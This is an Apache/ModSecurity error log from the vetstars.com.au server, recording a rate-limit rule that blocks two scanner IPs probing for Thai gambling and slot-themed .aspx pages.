[Tue Jan 27 18:20:21.124316 2026] [:error] [pid 48412:tid 48435] [client 217.182.195.179:41248] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%AE%E0%B8%87%20666.aspx"] [unique_id "aXiRZXbJMfAKlln88JHg_wAAAVU"]
[Tue Jan 27 18:20:23.607267 2026] [:error] [pid 48528:tid 48539] [client 217.182.195.179:32812] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%AE%E0%B8%87%20999.aspx"] [unique_id "aXiRZwOGRrquT9N7CZpoAgAAAgk"]
[Tue Jan 27 18:20:26.191049 2026] [:error] [pid 38987:tid 38993] [client 217.182.195.179:32828] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiRaqTH0bU76Ifu_XcedQAAAAM"]
[Tue Jan 27 18:20:28.786186 2026] [:error] [pid 48412:tid 48425] [client 217.182.195.179:33654] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%97%E0%B9%88%E0%B8%87%E0%B8%AB%E0%B8%A7%E0%B8%A224%20net%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXiRbHbJMfAKlln88JHhAAAAAUs"]
[Tue Jan 27 18:20:31.366720 2026] [:error] [pid 48412:tid 48429] [client 217.182.195.179:33656] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%AD%E0%B8%9E%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXiRb3bJMfAKlln88JHhAwAAAU8"]
[Tue Jan 27 18:20:33.964392 2026] [:error] [pid 7454:tid 7529] [client 217.182.195.179:33668] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXiRcZltCoZEfMmfl8APyAAAAI0"]
[Tue Jan 27 18:20:36.550801 2026] [:error] [pid 7453:tid 7499] [client 217.182.195.179:33676] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXiRdBfsyA2ws_ADquiJrgAAAEo"]
[Tue Jan 27 18:20:39.135808 2026] [:error] [pid 7454:tid 7520] [client 217.182.195.179:35150] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123%20%E0%B8%94%E0%B8%B2%E0%B8%A7%E0%B8%99%E0%B9%8C%E0%B9%82%E0%B8%AB%E0%B8%A5%E0%B8%94.aspx"] [unique_id "aXiRd5ltCoZEfMmfl8APyQAAAIQ"]
[Tue Jan 27 18:20:41.571400 2026] [:error] [pid 38987:tid 39003] [client 217.182.195.179:35152] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiReaTH0bU76Ifu_XceeQAAAA0"]
[Tue Jan 27 18:20:44.163107 2026] [:error] [pid 39017:tid 39069] [client 217.182.195.179:35168] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%AD%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXiRfM553xt-F_10bG6SNwAAAxU"]
[Tue Jan 27 18:20:46.757914 2026] [:error] [pid 48446:tid 48483] [client 217.182.195.179:35176] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%2020%E0%B8%A3%E0%B8%B1%E0%B8%9A100%202%20%E0%B9%80%E0%B8%97%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXiRfsDRSaZ8F8aaLxmIvwAAAcY"]
[Tue Jan 27 18:20:49.333273 2026] [:error] [pid 39017:tid 39065] [client 217.182.195.179:42096] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2.aspx"] [unique_id "aXiRgc553xt-F_10bG6SPwAAAxE"]
[Tue Jan 27 18:20:51.919109 2026] [:error] [pid 7453:tid 7508] [client 217.182.195.179:42106] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97%202565.aspx"] [unique_id "aXiRgxfsyA2ws_ADquiJsAAAAFM"]
[Tue Jan 27 18:20:54.504640 2026] [:error] [pid 48446:tid 48477] [client 217.182.195.179:42116] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXiRhsDRSaZ8F8aaLxmIzAAAAcA"]
[Tue Jan 27 18:20:57.085273 2026] [:error] [pid 48528:tid 48541] [client 217.182.195.179:42118] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXiRiQOGRrquT9N7CZpoDwAAAgs"]
[Tue Jan 27 18:20:59.669037 2026] [:error] [pid 38987:tid 39001] [client 217.182.195.179:37294] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20wallet.aspx"] [unique_id "aXiRi6TH0bU76Ifu_XcegwAAAAs"]
[Tue Jan 27 19:46:09.523631 2026] [autoindex:error] [pid 38987:tid 38992] [client 167.99.118.47:56469] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 27 20:09:57.544995 2026] [:error] [pid 48412:tid 48424] [client 217.182.195.225:43452] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXirFXbJMfAKlln88JH7JgAAAUo"]
[Tue Jan 27 20:10:00.529065 2026] [:error] [pid 7453:tid 7497] [client 217.182.195.225:37722] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aXirGBfsyA2ws_ADquicxwAAAEg"]
[Tue Jan 27 20:10:03.361145 2026] [:error] [pid 7453:tid 7511] [client 217.182.195.225:37732] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aXirGxfsyA2ws_ADquiczAAAAFY"]
[Tue Jan 27 20:10:06.159380 2026] [:error] [pid 39016:tid 39023] [client 217.182.195.225:37734] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXirHvB6_y9crthwy8qoywAAAsI"]
[Tue Jan 27 20:10:08.930961 2026] [:error] [pid 48446:tid 48499] [client 217.182.195.225:57166] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix168.aspx"] [unique_id "aXirIMDRSaZ8F8aaLxmZaQAAAdU"]
[Tue Jan 27 20:10:11.680792 2026] [:error] [pid 39016:tid 39036] [client 217.182.195.225:57170] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXirI_B6_y9crthwy8qo0gAAAs8"]
[Tue Jan 27 20:10:14.636857 2026] [:error] [pid 48662:tid 48689] [client 217.182.195.225:57174] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXirJuD8iESUP9uRiRPwNAAAApU"]
[Tue Jan 27 20:10:17.285537 2026] [:error] [pid 7453:tid 7512] [client 217.182.195.225:32848] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aXirKRfsyA2ws_ADquic4QAAAFc"]
[Tue Jan 27 20:10:20.181771 2026] [:error] [pid 7454:tid 7521] [client 217.182.195.225:32856] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cat888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXirLJltCoZEfMmfl8AbkAAAAIU"]
[Tue Jan 27 20:10:22.779485 2026] [:error] [pid 7561:tid 7586] [client 217.182.195.225:32872] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cat888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXirLrXGI6mgvHQqkXzX9wAAANY"]
[Tue Jan 27 20:10:25.771511 2026] [:error] [pid 7453:tid 7497] [client 217.182.195.225:32884] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aXirMRfsyA2ws_ADquic5QAAAEg"]
[Tue Jan 27 20:10:28.818906 2026] [:error] [pid 7561:tid 7576] [client 217.182.195.225:54792] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fafa168%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXirNLXGI6mgvHQqkXzX_wAAAMw"]
[Tue Jan 27 20:10:31.665113 2026] [:error] [pid 48662:tid 48680] [client 217.182.195.225:54800] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/faw99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirN-D8iESUP9uRiRPwPgAAAow"]
[Tue Jan 27 20:10:34.550457 2026] [:error] [pid 48446:tid 48499] [client 217.182.195.225:54802] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun88%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXirOsDRSaZ8F8aaLxmZkAAAAdU"]
[Tue Jan 27 20:10:37.489536 2026] [:error] [pid 48412:tid 48431] [client 217.182.195.225:53130] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirPXbJMfAKlln88JH7VgAAAVE"]
[Tue Jan 27 20:10:40.333458 2026] [:error] [pid 39017:tid 39055] [client 217.182.195.225:53134] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXirQM553xt-F_10bG6gzAAAAwc"]
[Tue Jan 27 20:10:42.972432 2026] [:error] [pid 39017:tid 39065] [client 217.182.195.225:53144] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gclub%20%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A.aspx"] [unique_id "aXirQs553xt-F_10bG6g0gAAAxE"]
[Tue Jan 27 20:10:45.945426 2026] [:error] [pid 7454:tid 7532] [client 217.182.195.225:53156] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goatbet909.aspx"] [unique_id "aXirRZltCoZEfMmfl8AbmgAAAJA"]
[Tue Jan 27 20:10:48.645160 2026] [:error] [pid 7561:tid 7580] [client 217.182.195.225:35048] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirSLXGI6mgvHQqkXzYCwAAANA"]
[Tue Jan 27 20:10:51.410914 2026] [:error] [pid 48412:tid 48418] [client 217.182.195.225:35064] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXirS3bJMfAKlln88JH7WgAAAUQ"]
[Tue Jan 27 20:11:34.981479 2026] [:error] [pid 48662:tid 48692] [client 217.182.195.225:35066] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m24%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirduD8iESUP9uRiRPwYwAAApc"]
[Tue Jan 27 20:11:37.382489 2026] [:error] [pid 39017:tid 39051] [client 217.182.195.225:60714] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m98%20bet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXirec553xt-F_10bG6hNQAAAwM"]
[Tue Jan 27 20:11:39.808730 2026] [:error] [pid 39016:tid 39042] [client 217.182.195.225:60730] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mafia%20slot%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXire_B6_y9crthwy8qpCwAAAtU"]
[Tue Jan 27 20:11:42.340311 2026] [:error] [pid 39017:tid 39058] [client 217.182.195.225:60732] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/megaways%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirfs553xt-F_10bG6hOgAAAwo"]
[Tue Jan 27 20:11:44.878981 2026] [:error] [pid 39017:tid 39070] [client 217.182.195.225:60742] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXirgM553xt-F_10bG6hPgAAAxY"]
[Tue Jan 27 20:11:47.273249 2026] [:error] [pid 48446:tid 48495] [client 217.182.195.225:59376] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miami%201688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXirg8DRSaZ8F8aaLxmZ2gAAAdE"]
